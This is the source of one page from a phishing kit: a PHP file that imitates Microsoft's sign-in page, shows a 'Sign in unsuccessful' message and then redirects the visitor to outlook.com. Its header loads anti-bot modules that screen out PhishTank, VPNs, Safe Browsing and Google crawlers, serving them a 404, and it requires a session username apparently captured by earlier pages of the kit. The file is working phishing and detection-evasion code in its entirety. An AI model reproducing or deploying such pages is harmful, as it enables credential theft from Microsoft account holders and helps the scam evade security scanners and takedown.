<?php
error_reporting(0);
require_once('session_init.php');

include('session/function.php');

require ("antibots/AntiBotUserAgent.php");
require ("antibots/AntiBotIsp.php"); 
require ("antibots/AnitiBotHost.php");
require ("antibots/AntiBotPhishTank.php");
require ("antibots/AntiBotVpn.php");
require ("antibots/SaveBrowsing.php");
require ("antibots/DiscoveredBot.php");
require ("antibots/AntiBotThree.php");
require ("antibots/DisturbOne.php");
require ("antibots/DisturbTwo.php");
require("antibots/Anti/Bot-Crawler.php");
if(strpos($_SERVER['HTTP_USER_AGENT'],'google') !== false ) { include($path."404.php"); exit(); }
if(strpos(gethostbyaddr(getenv("REMOTE_ADDR")),'google') !== false ) { include($path."404.php"); exit(); } 

if (isset($_SESSION['username']) && !empty($_SESSION['username'])) {
} 
else {
    header("Location: index.php?id=" . $random_id);
    exit();
}
?>
<!DOCTYPE html>
<html dir="ltr" lang="en">
<head>
    <title>Sign in to your account</title>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <link rel="shortcut icon" href="https://aadcdn.msftauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico">
    <link href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kfhrfyfy-sm2tmkm5ficcw2.css" rel="stylesheet">
    <meta http-equiv="refresh" content="3;url=https://outlook.com">
    <style>
        .error-icon {
            width: 60px;
            height: 60px;
            margin: 20px auto;
            border: 4px solid #D13438;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            font-size: 32px;
            color: #D13438;
            font-weight: bold;
        }
    </style>
</head>

<body class="cb" style="display: block;">

<div>
<div></div>

<div>
<div id="lightboxTemplateContainer">
<div id="lightboxBackgroundContainer">
    <div class="background-image-holder" role="presentation">
        <div class="background-image ext-background-image" style="background-image: url('https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/4_eae2dd7eb3a55636dc2d74f4fa4c386e.svg');"></div>
    </div>
</div>

<div class="outer">
    <div class="template-section main-section">
        <div class="middle ext-middle">
            <div class="full-height">
                <div class="flex-column">
                    <div class="win-scroll">

                        <!-- Sign In Unsuccessful Screen -->
                        <div id="unsuccessfulScreen" class="sign-in-box ext-sign-in-box fade-in-lightbox">
                            <div class="lightbox-cover"></div>
                            <div>
                                <img class="logo" role="img" src="https://aadcdn.msftauth.net/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg" alt="Microsoft">
                            </div>
                            <div role="main">
                                <div class="">
                                    <div class="pagination-view animate slide-in-next">
                                        <div data-viewid="9">
                                            <div class="error-icon">!</div>
                                            <div id="loginHeader" class="row title ext-title text-center">
                                                <div role="heading" aria-level="1">Sign in unsuccessful</div>
                                            </div>
                                            <div class="row">
                                                <div class="form-group col-md-24">
                                                    <div class="text-body text-center" style="padding: 20px 0 40px 0;">
                                                        <div style="color: #605E5C; font-size: 15px; line-height: 1.6;">We couldn't sign you in. Please try again.</div>
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>

                    </div>
                </div>
            </div>
        </div>
    </div>

    <div></div>
</div>

</div>
</div>
</div>

<div id="footer" role="contentinfo" class="footer ext-footer">
    <div>
        <div id="footerLinks" class="footerNode text-secondary">
            <a id="ftrTerms" href="#" class="footer-content ext-footer-content footer-item ext-footer-item">Terms of use</a>
            <a id="ftrPrivacy" href="#" class="footer-content ext-footer-content footer-item ext-footer-item">Privacy &amp; cookies</a>
            <a id="moreOptions" href="#" role="button" class="footer-content ext-footer-content footer-item ext-footer-item debug-item ext-debug-item">...</a>
        </div>
    </div>
</div>

</div>
</div>
</div>
</div>
</body>
</html>